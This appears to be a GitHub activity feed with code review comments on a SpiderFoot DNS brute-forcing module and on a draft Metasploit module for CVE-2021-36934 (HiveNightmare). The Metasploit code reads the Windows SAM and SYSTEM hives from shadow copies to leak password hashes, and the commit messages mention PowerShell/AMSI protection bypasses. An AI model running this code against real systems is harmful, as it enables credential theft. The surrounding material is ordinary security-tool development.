self.opts["alphamutation"]:+                alphaMutations = self.getAlphaMutations(host)+                self.sf.debug(f"Generated {len(alphaMutations):,} alpha mutations of {host}")+                subdomains.update(alphaMutations)+            method = "mutation"+            base = host.split(".", 1)[-1]++        # if this is the main target or we're brute-forcing subdomains of subdomains+        if self.getTarget().matches(event.data, includeChildren=False) or not self.opts["domainonly"]:+            subdomains.update(set(self.state["sub_wordlist"]))++        for subdomain in self.massdns(base, subdomains):+            self.sendEvent(event, subdomain, method)++    def massdns(self, target, subdomains, concurrentResolvers=1000):+        # 1000 concurrent resolvers ~= 12Mbps up / 12Mbps down+        resolversFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        resolversFile.write('\n'.join([r.nameservers[0] for r in self.resolvers]))+        resolversFile.close()+        subdomainsFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        subdomainsFile.write('\n'.join(subdomains))+        subdomainsFile.close()++        # shuffledns is a massdns wrapper that handles subdomains and wildcards+        shufflednsCommand = (+            "shuffledns",+            "-nC",+            "-r", resolversFile.name,+            "-w", subdomainsFile.name,+            "-silent",+            "-t", str(concurrentResolvers)+        )+        self.sf.debug(f"Running ShuffleDNS: {' '.join(shufflednsCommand)}")++        try:+            p = subprocess.Popen(shufflednsCommand, stdin=subprocess.PIPE, stdout=subprocess.PIPE)+            records = p.communicate(target.encode('utf-8'))[0].decode('utf-8', errors='ignore').splitlines()+            records = list(set(records))+        finally:+            # delete temporary files+            Path(resolversFile.name).unlink()+            Path(subdomainsFile.name).unlink()++        return self.validateHosts(records)++    def sendEvent(self, source, host, method=None):+        if method is None:+            method = ""+        host = host.lower()+        # skip if we've already sent this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["sent_events"]:+            self.sf.debug("Skipping already-sent event")+            return+        elif eventDataHash in self.state["handled_events"]:+            self.sf.debug("Not sending already-handled event")+            return+        self.state["sent_events"].append(eventDataHash)+        self.sf.info(f"Found subdomain via {method}: {host}")+        # Report the host+        e = SpiderFootEvent("INTERNET_NAME", host, self.__name__, source)+        self.notifyListeners(e)++    def verifyNameservers(self, nameservers, timeout=2):+        """Check each resolver to make sure it can actually resolve DNS names++        Args:+            nameservers (list): nameservers to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether any of the nameservers are valid+        """+        validResolvers = []+        with self.threadPool(threads=100, name='sfp_massdns_verify_nameservers') as pool:+            for resolver, error in pool.map(nameservers, self.verifyNameserver):+                if not error:+                    validResolvers.append(resolver)+                else:+                    self.sf.debug(str(error))+        return validResolvers++    def verifyNameserver(self, nameserver, timeout=2):+        """Validate a nameserver by making a sample query and a garbage query++        Args:+            nameserver (str): nameserver to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether the nameserver is valid+        """+        error = None++        resolver = dns.resolver.Resolver()+        resolver.timeout = timeout+        resolver.lifetime = timeout+        resolver.nameservers = [nameserver]++        # first, make sure it can resolve google.com+        try:+            resolver.query("www.google.com", "A")

This raises warnings:

test/unit/modules/test_sfp_massdns.py: 630 warnings
  /home/runner/work/spiderfoot/spiderfoot/modules/sfp_massdns.py:222: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
    resolver.query("www.google.com", "A")
TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# Spiderfoot Dictionaries / Wordlists
# SpiderFoot Dictionaries / Wordlists
TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# -*- coding: utf-8 -*-+# -------------------------------------------------------------------------------+# Name:         sfp_dnsbrute+# Purpose:      SpiderFoot plug-in for attempting to resolve through brute-forcing+#               common hostnames.+#+# Author:      Steve Micallef <steve@binarypool.com>, TheTechromancer+#+# Created:     05/19/2021+# Copyright:   (c) Steve Micallef 2021+# Licence:     GPL+# -------------------------------------------------------------------------------++import re+import json+import random+import tempfile+import subprocess+import dns.resolver+from pathlib import Path+from spiderfoot import SpiderFootEvent, SpiderFootPlugin+++class sfp_massdns(SpiderFootPlugin):++    meta = {+        'name': "MassDNS",+        'summary': "Attempts to identify hostnames through brute-forcing common names and iterations.",+        'flags': [""],+        'useCases': ["Footprint", "Investigate"],+        'categories': ["DNS"]+    }++    # Default options+    opts = {+        "domainonly": True,+        "numbermutation": True,+        "alphamutation": True,+        "large_wordlist": False,+        "concurrent_resolvers": 1000+    }++    # Option descriptions+    optdescs = {+        "domainonly": "Only brute-force subdomains for the main target (non-recursive).",+        "numbermutation": "For any host found, increment/decrement existing numbers (if any) and try appending 1, 01, 001, -1, -01, -001, 2, 02, etc. (up to 10)",+        "alphamutation": "For any host found, try common mutations such as -test, -old, etc.",+        "large_wordlist": "Use a 1.2M wordlist instead of the default 110K. Takes roughly 20 minutes at 1000 threads.",+        "concurrent_resolvers": "Maximum concurrent lookup threads. Bandwidth cost is ~1Mbps per 100 resolvers."+    }

Usually modules which leverage third-party tools on the host require the user to specify the file system path in a module option in case the tool is not available in the system environment PATH. There's a few reasons to do this, even though this is arguably an environment issue outside of SpiderFoot. @smicallef will likely have an opinion here.

On Windows tools usually aren't installed into the PATH by default and often won't add their directory to PATH.

There's a security concern due to not using the absolute path. Although only relevant when the system is configured with an insecure PATH.

There's a usability concern as there's no error handling in instances where the tool does not exist, making every invocation of the module pointless. Allowing the user to specify a path allows the following error handling:

        if not self.opts['shuffledns_path']:
            self.sf.error("You enabled sfp_tool_massdns but did not set a path to shuffledns!")
            self.errorState = True
            return

This will also resolve the failing tests by preventing the test from attempting to execute a file which does note exist:

/opt/hostedtoolcache/Python/3.7.11/x64/lib/python3.7/subprocess.py:1551: FileNotFoundError
TheTechromancer

comment created time in 4 days

PullRequestReviewEvent

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

 ENV SPIDERFOOT_LOGS /home/spiderfoot/log # Place database and configs outside installation directory ENV SPIDERFOOT_DATA /var/lib/spiderfoot +# massdns+RUN apk --update --no-cache --virtual .build-deps add git build-base go \+   && git clone --depth=1 https://github.com/blechschmidt/massdns.git \+   && cd massdns && make && make install+ENV GOPATH /go+ENV PATH="$GOPATH/bin:$PATH"+RUN mkdir -p "$GOPATH/src" "$GOPATH/bin"+RUN GO111MODULE=on go get -v github.com/projectdiscovery/shuffledns/cmd/shuffledns+RUN apk del .build-deps+

There is currently no precedence for installing additional third-party tools in the image. However, this is probably a good idea. Perhaps we should look at also installing other tools such as DNStwist. @smicallef will likely have an opinion here.

TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# -*- coding: utf-8 -*-+# -------------------------------------------------------------------------------+# Name:         sfp_dnsbrute+# Purpose:      SpiderFoot plug-in for attempting to resolve through brute-forcing+#               common hostnames.+#+# Author:      Steve Micallef <steve@binarypool.com>, TheTechromancer+#+# Created:     05/19/2021+# Copyright:   (c) Steve Micallef 2021+# Licence:     GPL+# -------------------------------------------------------------------------------++import re+import json+import random+import tempfile+import subprocess+import dns.resolver+from pathlib import Path+from spiderfoot import SpiderFootEvent, SpiderFootPlugin+++class sfp_massdns(SpiderFootPlugin):++    meta = {+        'name': "MassDNS",+        'summary': "Attempts to identify hostnames through brute-forcing common names and iterations.",+        'flags': [""],+        'useCases': ["Footprint", "Investigate"],+        'categories': ["DNS"]+    }++    # Default options+    opts = {+        "domainonly": True,+        "numbermutation": True,+        "alphamutation": True,+        "large_wordlist": False,+        "concurrent_resolvers": 1000+    }++    # Option descriptions+    optdescs = {+        "domainonly": "Only brute-force subdomains for the main target (non-recursive).",+        "numbermutation": "For any host found, increment/decrement existing numbers (if any) and try appending 1, 01, 001, -1, -01, -001, 2, 02, etc. (up to 10)",+        "alphamutation": "For any host found, try common mutations such as -test, -old, etc.",+        "large_wordlist": "Use a 1.2M wordlist instead of the default 110K. Takes roughly 20 minutes at 1000 threads.",+        "concurrent_resolvers": "Maximum concurrent lookup threads. Bandwidth cost is ~1Mbps per 100 resolvers."+    }++    _ipRegex = re.compile(r"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}")++    def setup(self, sfc, userOpts=dict()):+        self.sf = sfc+        self.sf.debug("Setting up sfp_massdns")+        self.state = self.tempStorage()+        self.state.update({+            "sub_wordlist": [],+            "sent_events": [],+            "handled_events": []+        })+        self.__dataSource__ = "DNS"+        self.iteration = 0++        for opt in list(userOpts.keys()):+            self.opts[opt] = userOpts[opt]++        self.word_regex = re.compile(r'[^\d\W_]+')+        self.word_num_regex = re.compile(r'[^\W_]+')+        self.num_regex = re.compile(r'\d+')++        dicts_dir = f"{self.sf.myPath()}/spiderfoot/dicts"+        if self.opts["large_wordlist"]:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-1.2M.txt"+        else:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-110K.txt"+        with open(subdomain_dict, "r") as f:+            self.state["sub_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))+        with open(f"{dicts_dir}/subdomain-mutations.txt", "r") as f:+            if self.opts["alphamutation"]:+                self.state["alpha_mutation_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))++        # set up nameservers+        self.resolvers = self.fetchResolvers(minReliability=.99)+        self.resolvers = self.verifyNameservers(self.resolvers)+        self.sf.info(f"Using {len(self.resolvers):,} valid nameservers")++    def watchedEvents(self):+        return ["DOMAIN_NAME", "INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"]++    def producedEvents(self):+        return ["INTERNET_NAME"]++    def handleEvent(self, event):+        if not self.resolvers:+            self.sf.error("No valid DNS resolvers")+            return++        host = str(event.data).lower()++        self.sf.debug(f"Received event, {event.eventType}, from {event.module}")++        # skip if we've already processed this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["handled_events"]:+            self.sf.debug(f"Skipping already-processed event, {event.eventType}, from {event.module}")+            return+        self.state["handled_events"].append(eventDataHash)++        subdomains = set()+        method = "brute-force"+        base = str(host)++        # if this isn't the main target, we can still do mutations+        if event.eventType in ["INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"] and not self.getTarget().matches(event.data, includeChildren=False):+            if self.opts["numbermutation"]:+                numberMutations = self.getNumberMutations(host)+                self.sf.debug(f"Generated {len(numberMutations):,} number mutations of {host}")+                subdomains.update(numberMutations)+            if self.opts["alphamutation"]:+                alphaMutations = self.getAlphaMutations(host)+                self.sf.debug(f"Generated {len(alphaMutations):,} alpha mutations of {host}")+                subdomains.update(alphaMutations)+            method = "mutation"+            base = host.split(".", 1)[-1]++        # if this is the main target or we're brute-forcing subdomains of subdomains+        if self.getTarget().matches(event.data, includeChildren=False) or not self.opts["domainonly"]:+            subdomains.update(set(self.state["sub_wordlist"]))++        for subdomain in self.massdns(base, subdomains):+            self.sendEvent(event, subdomain, method)++    def massdns(self, target, subdomains, concurrentResolvers=1000):+        # 1000 concurrent resolvers ~= 12Mbps up / 12Mbps down+        resolversFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        resolversFile.write('\n'.join([r.nameservers[0] for r in self.resolvers]))+        resolversFile.close()+        subdomainsFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        subdomainsFile.write('\n'.join(subdomains))+        subdomainsFile.close()++        # shuffledns is a massdns wrapper that handles subdomains and wildcards+        shufflednsCommand = (+            "shuffledns",+            "-nC",+            "-r", resolversFile.name,+            "-w", subdomainsFile.name,+            "-silent",+            "-t", str(concurrentResolvers)+        )+        self.sf.debug(f"Running ShuffleDNS: {' '.join(shufflednsCommand)}")++        try:+            p = subprocess.Popen(shufflednsCommand, stdin=subprocess.PIPE, stdout=subprocess.PIPE)+            records = p.communicate(target.encode('utf-8'))[0].decode('utf-8', errors='ignore').splitlines()+            records = list(set(records))+        finally:+            # delete temporary files+            Path(resolversFile.name).unlink()+            Path(subdomainsFile.name).unlink()++        return self.validateHosts(records)++    def sendEvent(self, source, host, method=None):+        if method is None:+            method = ""+        host = host.lower()+        # skip if we've already sent this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["sent_events"]:+            self.sf.debug("Skipping already-sent event")+            return+        elif eventDataHash in self.state["handled_events"]:+            self.sf.debug("Not sending already-handled event")+            return+        self.state["sent_events"].append(eventDataHash)+        self.sf.info(f"Found subdomain via {method}: {host}")+        # Report the host+        e = SpiderFootEvent("INTERNET_NAME", host, self.__name__, source)+        self.notifyListeners(e)++    def verifyNameservers(self, nameservers, timeout=2):+        """Check each resolver to make sure it can actually resolve DNS names++        Args:+            nameservers (list): nameservers to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether any of the nameservers are valid+        """+        validResolvers = []+        with self.threadPool(threads=100, name='sfp_massdns_verify_nameservers') as pool:+            for resolver, error in pool.map(nameservers, self.verifyNameserver):+                if not error:+                    validResolvers.append(resolver)+                else:+                    self.sf.debug(str(error))+        return validResolvers++    def verifyNameserver(self, nameserver, timeout=2):+        """Validate a nameserver by making a sample query and a garbage query++        Args:+            nameserver (str): nameserver to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether the nameserver is valid+        """+        error = None++        resolver = dns.resolver.Resolver()+        resolver.timeout = timeout+        resolver.lifetime = timeout+        resolver.nameservers = [nameserver]++        # first, make sure it can resolve google.com+        try:+            resolver.query("www.google.com", "A")+        except Exception:+            error = f"Nameserver {nameserver} failed to resolve basic query within {timeout} seconds."++        # then, make sure it isn't feeding us garbage data+        randpool = "bcdfghjklmnpqrstvwxyz3456789"+        randhost = "".join([random.SystemRandom().choice(randpool) for x in range(10)]) + ".google.com"+        try:+            results = list(resolver.query(randhost, "A"))+            if results:+                error = f"Nameserver {nameserver} returned garbage data."+        except Exception:+            # Garbage query to nameserver failed successfully ;)+            pass

Outside the scope of this PR, but we should probably augment checkDnsWildcard() to also take a resolver argument rather than duplicate code here.

https://github.com/smicallef/spiderfoot/blob/0a505a836ba7cd6df6a8e3b60605dcbfc757fd41/sflib.py#L2500-L2519

TheTechromancer

comment created time in 4 days

PullRequestReviewEvent

Pull request review commentrapid7/metasploit-framework

[CVE-2021-36934] HiveNightmare aka SeriousSam - SAM hashes leak

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++class MetasploitModule < Msf::Auxiliary+    Rank = ExcellentRanking+  +    include Msf::Post::File+    prepend Msf::Exploit::Remote::AutoCheck+    include Msf::PostMixin+  +    def initialize(info = {})+      super(+        update_info(+          info,+          'Name' => 'HiveNighmare - SAM Leak',+          'Description' => %q{+              to do+          },+          'License' => MSF_LICENSE,+          'Author' =>+            [       +              'romarroca',       # POC on www.github.com+              'Yann Castel (yann.castel[at]orange.com)' # Metasploit module+            ],+          'References' =>+            [+              ['CVE', '2021-36934'],+              ['URL', 'https://github.com/romarroca/SeriousSam']+            ],+          'DisclosureDate' => '2021-07-20',+          'Notes' =>+            {+              'Stability' => [ CRASH_SAFE ],+              'SideEffects' => [ IOC_IN_LOGS],+              'Reliability' => [ REPEATABLE_SESSION ]+            }+        )+      )+      register_options([+      OptString.new('USERS_GROUP_NAME', [true, 'Users group name depending on your language', 'Users']),+      OptInt.new('NBRE_ITER', [true, 'Number of iterations on Shadow Copy file index', 10])+        ])+    end+  +    def check+        acl = session.shell_command("icacls C:\\windows\\system32\\config\\sam")+        if acl.include? "BUILTIN\\#{datastore['USERS_GROUP_NAME']}:(I)(RX)"+            Exploit::CheckCode::Appears+        else+            Exploit::CheckCode::Safe+        end+    end+  +    def run+      for i in 0..datastore['NBRE_ITER']+        if session.shell_command("Test-Path -LiteralPath '\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{i}\\Windows\\System32\\config\\SAM'").include? "True"+            print_good("SAM data found in HarddiskVolumeShadowCopy#{i} !")+            +            path = store_loot(+              "windows.sam",+              "",+              session,+              session.shell_command("Get-Content -Raw -LiteralPath '\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{i}\\Windows\\System32\\config\\SAM'")+            )+            print_good("SAM data saved at #{path}")++            path = store_loot(+              "windows.system",+              "",+              session,+              session.shell_command("Get-Content -Raw -LiteralPath '\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{i}\\Windows\\System32\\config\\SYSTEM'")+            )+            print_good("SYSTEM data saved at #{path}")++            print_good("SAM and SYSTEM data were leaked !")+            return

is there any value in retrieving additional hives rather than bailing out after the first one that is found?

Hakyac

comment created time in 4 days

PullRequestReviewEvent

pull request commentrapid7/metasploit-framework

[CVE-2021-36934] HiveNightmare aka SeriousSam - SAM hashes leak

It would have the disadvantage of only working with a Meterpreter session

This post discusses some techniques (certutil and esentutl.exe) which may be useful for non-meterpreter sessions:

  • https://spyx.github.io/CVE-2021-36934/
Hakyac

comment created time in 4 days

Pull request review commentrapid7/metasploit-framework

[CVE-2021-36934] HiveNightmare aka SeriousSam - SAM hashes leak

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++class MetasploitModule < Msf::Auxiliary+    Rank = ExcellentRanking+  +    include Msf::Post::File+    prepend Msf::Exploit::Remote::AutoCheck+    include Msf::PostMixin+  +    def initialize(info = {})+      super(+        update_info(+          info,+          'Name' => 'HiveNighmare - SAM Leak',+          'Description' => %q{+              to do+          },+          'License' => MSF_LICENSE,+          'Author' =>+            [       +              'romarroca',       # POC on www.github.com+              'Yann Castel (yann.castel[at]orange.com)' # Metasploit module+            ],+          'References' =>+            [+              ['CVE', '2021-36934'],+              ['URL', 'https://github.com/romarroca/SeriousSam']

PoC exploit:

  • https://github.com/GossiTheDog/HiveNightmare

Associated writeup:

  • https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5

There are a bunch of other posts about the bug. ISC has one of the better writeups:

  • https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652
Hakyac

comment created time in 4 days

PullRequestReviewEvent

create barnchbcoles/metasploit-framework

branch : github-actions

created branch time in 5 days

push eventbcoles/metasploit-framework

Ashley Donaldson

commit sha a47b1af60b54dde1b92685b7f4319edc3c1fc02d

Added module to dump memory for processes, using Windows Meterpreter

view details

Ashley Donaldson

commit sha 0836f77754293149c621bcd496a635bd0043a38f

Added documentation for the memory dump module

view details

Ashley Donaldson

commit sha 422b6380eb4ef5b065c9240c4d6fdc3618b63c19

Fix check against dumping own process

view details

Ashley Donaldson

commit sha 278c6532d067ca6615a3b1c7052865019f293fb4

Implemented suggested changes. Download directly to loot directory.

view details

Yann Castel

commit sha 2005138017ece887327bd5024b1f28290a448adc

add CVE-2021-27850 Apache Tapestry HMAC secret key leak

view details

Spencer McIntyre

commit sha f3f479fda93bd6c6ee2317bd8bf073456ab88ef5

Handle powershell protection bypasses in MSF

view details

Yann Castel

commit sha d4c5f59117bfdd88c339e0bd71a78021c058af1c

file moved to a better place

view details

Yann Castel

commit sha 99799c177f5b50be23a0d1cb82c73aefeeb225a5

now is validated by robocop

view details

Yann Castel

commit sha 2ef3eadcd454711273107740b5637dada78f5268

add description for this module

view details

Spencer McIntyre

commit sha 86df5b0122f4816d81f2fb43edf408704e3e15f5

Add the data file for bypassing PSH protection

view details

Spencer McIntyre

commit sha 48272435c237da771d4e8f5c1229ab86b6a8da13

Fix a bug in GraphML parser for escaped strings The GraphML parser was failing to properly handle escaped strings within XML nodes. The #characters method was being called multiple times causing the preceding value to be overwritten rather than appended to.

view details

Yann Castel

commit sha 72928e08651b9b5846fe732491b960fa3d039038

module moved to a better location (again) and renamed

view details

Spencer McIntyre

commit sha 4ab980b3163963b2435bc8fd6d25e7f00d8cf801

Update Shuffle to protect more of its API

view details

Spencer McIntyre

commit sha 694617b12cee1d438683a71b0e5cce80ffde8683

Use an obfuscated stub to bypass PSH protections

view details

Spencer McIntyre

commit sha 38b45380f4642a366c23df563d3757680fdbb5c0

Fix and process block edges within the GraphML

view details

Spencer McIntyre

commit sha eddb6af650125a273a749af27d329bd5cf7f4ef4

Add block level randomization for the PSH bypass

view details

Spencer McIntyre

commit sha 4920800340793ecd947d88f67b0c79f196af6def

Add a null check to the PSH bypass code Powershell version 3 does not have `System.Management.Automation.AmsiUtils` so check that it's present before setting the field.

view details

Spencer McIntyre

commit sha 2dc2831d7aec7fd2f5a87a297784f6fce2756728

Obfuscate the ScriptBlock class reference

view details

Spencer McIntyre

commit sha ebab5f1e856f733a91f6e14f67fd05b8d33442d7

Update the powershell mixin

view details

Spencer McIntyre

commit sha 7c6afc33d28e173a079b0f47a52fc7ac5c8d488a

Update the web_delivery module

view details

push time in 5 days

PullRequestReviewEvent